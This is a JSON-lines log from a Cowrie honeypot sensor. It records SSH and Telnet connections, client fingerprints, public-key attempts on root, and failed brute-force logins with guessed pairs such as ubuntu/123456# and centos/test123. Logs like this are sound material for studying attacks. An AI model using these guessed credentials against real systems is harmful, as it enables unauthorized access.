{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:5f:d5:aa:ed:bf:68:2a:b8:59:3e:ab:d7:f6:04:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABBwDSmpdJ0XuIWiOFMSmgrte7+IsyseWBlOsVmerk9KCOGCDNvkdePab2Iaayf7ugY2QvlZXWzyjXjtpn3bkrLkcb3IPu/PXW9ObW0qtI1A/hlfy5x/JBaP8pgsRpitl1o9L9DoNPjIp8qsb4EkvFLAbj0co5KLEd024thyW7G61MFPP0eMAYBTVf/ocV5jXrcTXxykogZQkBXbAX0y033Rpj4mgDRBEfmOmNFpu3jhqB5G8T8fm8fvuIMgXCk8rHx2QTvA1N9pA+Y76VryQ8viPZByoIbXYrvJtVJhZnsQy7/HNpcby6Xk6g+eb5vsI58iwYpczq6+66isaJLpEmPzjRj2A0PB2t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:5f:d5:aa:ed:bf:68:2a:b8:59:3e:ab:d7:f6:04:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.346580Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:5f:d5:aa:ed:bf:68:2a:b8:59:3e:ab:d7:f6:04:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABBwDSmpdJ0XuIWiOFMSmgrte7+IsyseWBlOsVmerk9KCOGCDNvkdePab2Iaayf7ugY2QvlZXWzyjXjtpn3bkrLkcb3IPu/PXW9ObW0qtI1A/hlfy5x/JBaP8pgsRpitl1o9L9DoNPjIp8qsb4EkvFLAbj0co5KLEd024thyW7G61MFPP0eMAYBTVf/ocV5jXrcTXxykogZQkBXbAX0y033Rpj4mgDRBEfmOmNFpu3jhqB5G8T8fm8fvuIMgXCk8rHx2QTvA1N9pA+Y76VryQ8viPZByoIbXYrvJtVJhZnsQy7/HNpcby6Xk6g+eb5vsI58iwYpczq6+66isaJLpEmPzjRj2A0PB2t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.350490Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:4d:f7:c9:0d:36:71:23:33:e9:d8:db:78:01:85:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2YMb/ndPKOL66Yoc0mSOoWS9yPWiv4cMSYzanCNqYIpmwVQn7B3Qn5CFDdG9/EUWLA+FNoVhZLxRweM+0pqRaspRA9uJpaTjH4V2gi+0uFC8s2suhZ4xyyRcQaPafwrS9vh3cLGZPbyeifw68uNLknyfQaj+pbZCcYDUujqsF9E4wmEqgjFcL3SkFlGtN5li+ne6EKxSq/G+LMUHXwmwfnE1MALKiZO+iE/gr8IlUP7wGrdVGI1Pl5pX0P2ecfrI+/1A0abi8lI/ZvHothD15PdrImua+mHvzNTVQeuwnk7/TZ5SRFHXW/lHNG1NUEk1vaK/2Ii2TzN3yDRkKQygR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:4d:f7:c9:0d:36:71:23:33:e9:d8:db:78:01:85:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.411361Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:4d:f7:c9:0d:36:71:23:33:e9:d8:db:78:01:85:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2YMb/ndPKOL66Yoc0mSOoWS9yPWiv4cMSYzanCNqYIpmwVQn7B3Qn5CFDdG9/EUWLA+FNoVhZLxRweM+0pqRaspRA9uJpaTjH4V2gi+0uFC8s2suhZ4xyyRcQaPafwrS9vh3cLGZPbyeifw68uNLknyfQaj+pbZCcYDUujqsF9E4wmEqgjFcL3SkFlGtN5li+ne6EKxSq/G+LMUHXwmwfnE1MALKiZO+iE/gr8IlUP7wGrdVGI1Pl5pX0P2ecfrI+/1A0abi8lI/ZvHothD15PdrImua+mHvzNTVQeuwnk7/TZ5SRFHXW/lHNG1NUEk1vaK/2Ii2TzN3yDRkKQygR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.415828Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:bb:15:37:fe:19:fd:38:ed:66:b6:fa:54:ec:31:19","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP4o4H/cPaSE41/ufIB8i0OR6QFonEcUMxBsFLR1JfaKJsA+98lB49czRF2PiUY7bXVoytS09WLM0400EfRZNjkvVNog8h7Z90r8NVVwElUgIBML5qkD+Bq4y1UkhMps/YQ+rB6Jeq0adLMsi+efyRJZdaz4r/q5Ih0D/xGIrQbfAAAAFQDrU42qfyTokoFXwPghxRHqmbwXbwAAAIEA/RzhbHNb++2AW9VL3iRF26LCEk/y4m3vWXJCkhmWvxIzuG9LkTlJ4h+fmmNmzzHSFX5yM6y2WLxZbpGVfrZP96STd3/kbjyW7leOGFbrvUHTOUSX5G47ta1e1NAGGiYOnreOYdB7j9gN4XEbHaexv5lqrm5vWYiSMeF4+1NUFTkAAACBAK5rL08OS1vtsEgfpC1eY0CvEsXEsAJ3PJBmsFJ233h5K+he+iDstgpvxOTWEcYD0599p/84wXFfalXYQqiiDMlzxf1YRx23EytzOcyuwDKSgLfM34+YwiSSRX5xtZ4KvTsb/CD7iHrqKMygUUE2w8ag30aByPRWjCVwav43QTiB","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 74:bb:15:37:fe:19:fd:38:ed:66:b6:fa:54:ec:31:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.476620Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:bb:15:37:fe:19:fd:38:ed:66:b6:fa:54:ec:31:19","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP4o4H/cPaSE41/ufIB8i0OR6QFonEcUMxBsFLR1JfaKJsA+98lB49czRF2PiUY7bXVoytS09WLM0400EfRZNjkvVNog8h7Z90r8NVVwElUgIBML5qkD+Bq4y1UkhMps/YQ+rB6Jeq0adLMsi+efyRJZdaz4r/q5Ih0D/xGIrQbfAAAAFQDrU42qfyTokoFXwPghxRHqmbwXbwAAAIEA/RzhbHNb++2AW9VL3iRF26LCEk/y4m3vWXJCkhmWvxIzuG9LkTlJ4h+fmmNmzzHSFX5yM6y2WLxZbpGVfrZP96STd3/kbjyW7leOGFbrvUHTOUSX5G47ta1e1NAGGiYOnreOYdB7j9gN4XEbHaexv5lqrm5vWYiSMeF4+1NUFTkAAACBAK5rL08OS1vtsEgfpC1eY0CvEsXEsAJ3PJBmsFJ233h5K+he+iDstgpvxOTWEcYD0599p/84wXFfalXYQqiiDMlzxf1YRx23EytzOcyuwDKSgLfM34+YwiSSRX5xtZ4KvTsb/CD7iHrqKMygUUE2w8ag30aByPRWjCVwav43QTiB","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.481060Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:36.541131Z","src_ip":"199.127.62.250","session":"29b40d883b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:37.189749Z","src_ip":"80.94.92.186","session":"49d9bc73ae12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":33886,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c12bf0f2204","protocol":"ssh","message":"New connection: 101.47.159.125:33886 (159.203.135.109:22) [session: 1c12bf0f2204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:38.968337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:38.972761Z","src_ip":"101.47.159.125","session":"1c12bf0f2204","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:39.218444Z","src_ip":"101.47.159.125","session":"1c12bf0f2204","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456#","message":"login attempt [ubuntu/123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:40.234271Z","src_ip":"101.47.159.125","session":"1c12bf0f2204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:41.483209Z","src_ip":"101.47.159.125","session":"1c12bf0f2204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":41684,"dst_ip":"10.17.0.5","dst_port":22,"session":"1934c3a8cb2b","protocol":"ssh","message":"New connection: 160.251.185.39:41684 (10.17.0.5:22) [session: 1934c3a8cb2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:58.416079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:58.420866Z","src_ip":"160.251.185.39","session":"1934c3a8cb2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:58.603651Z","src_ip":"160.251.185.39","session":"1934c3a8cb2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing12345","message":"login attempt [testing/testing12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:36:59.365970Z","src_ip":"160.251.185.39","session":"1934c3a8cb2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:37:00.552659Z","src_ip":"160.251.185.39","session":"1934c3a8cb2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":34746,"dst_ip":"10.17.0.5","dst_port":22,"session":"eea84931ba5a","protocol":"ssh","message":"New connection: 58.186.20.143:34746 (10.17.0.5:22) [session: eea84931ba5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:37:29.328628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:37:29.331956Z","src_ip":"58.186.20.143","session":"eea84931ba5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:37:29.575274Z","src_ip":"58.186.20.143","session":"eea84931ba5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user02","password":"12345","message":"login attempt [user02/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:37:30.585069Z","src_ip":"58.186.20.143","session":"eea84931ba5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:37:31.832582Z","src_ip":"58.186.20.143","session":"eea84931ba5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.95.18","src_port":40518,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0e118b52bfe","protocol":"telnet","message":"New connection: 103.97.95.18:40518 (159.203.135.109:23) [session: c0e118b52bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:18.844754Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":43722,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf75816d3c26","protocol":"ssh","message":"New connection: 101.47.159.125:43722 (159.203.135.109:22) [session: bf75816d3c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:25.752558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:25.757201Z","src_ip":"101.47.159.125","session":"bf75816d3c26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:25.996032Z","src_ip":"101.47.159.125","session":"bf75816d3c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"12345","message":"login attempt [sftpuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:26.981204Z","src_ip":"101.47.159.125","session":"bf75816d3c26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:28.223751Z","src_ip":"101.47.159.125","session":"bf75816d3c26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.504939794540405,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:31.349581Z","src_ip":"103.97.95.18","session":"c0e118b52bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.211.69.158","src_port":45068,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d31b92ec009","protocol":"telnet","message":"New connection: 89.211.69.158:45068 (10.17.0.5:23) [session: 1d31b92ec009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:41.507745Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":40076,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d55e3061be5","protocol":"ssh","message":"New connection: 160.251.185.39:40076 (10.17.0.5:22) [session: 3d55e3061be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:53.738937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:53.747147Z","src_ip":"160.251.185.39","session":"3d55e3061be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:53.937560Z","src_ip":"160.251.185.39","session":"3d55e3061be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"test123","message":"login attempt [centos/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:54.702157Z","src_ip":"160.251.185.39","session":"3d55e3061be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.19761347770691,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:55.705247Z","src_ip":"89.211.69.158","session":"1d31b92ec009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:38:55.890344Z","src_ip":"160.251.185.39","session":"3d55e3061be5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":40668,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c7851069b0","protocol":"ssh","message":"New connection: 58.186.20.143:40668 (10.17.0.5:22) [session: 34c7851069b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:19.591675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:19.596358Z","src_ip":"58.186.20.143","session":"34c7851069b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:19.843005Z","src_ip":"58.186.20.143","session":"34c7851069b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"developer","message":"login attempt [ubuntu/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:39:20.856005Z","src_ip":"58.186.20.143","session":"34c7851069b0","protocol":"ssh"}
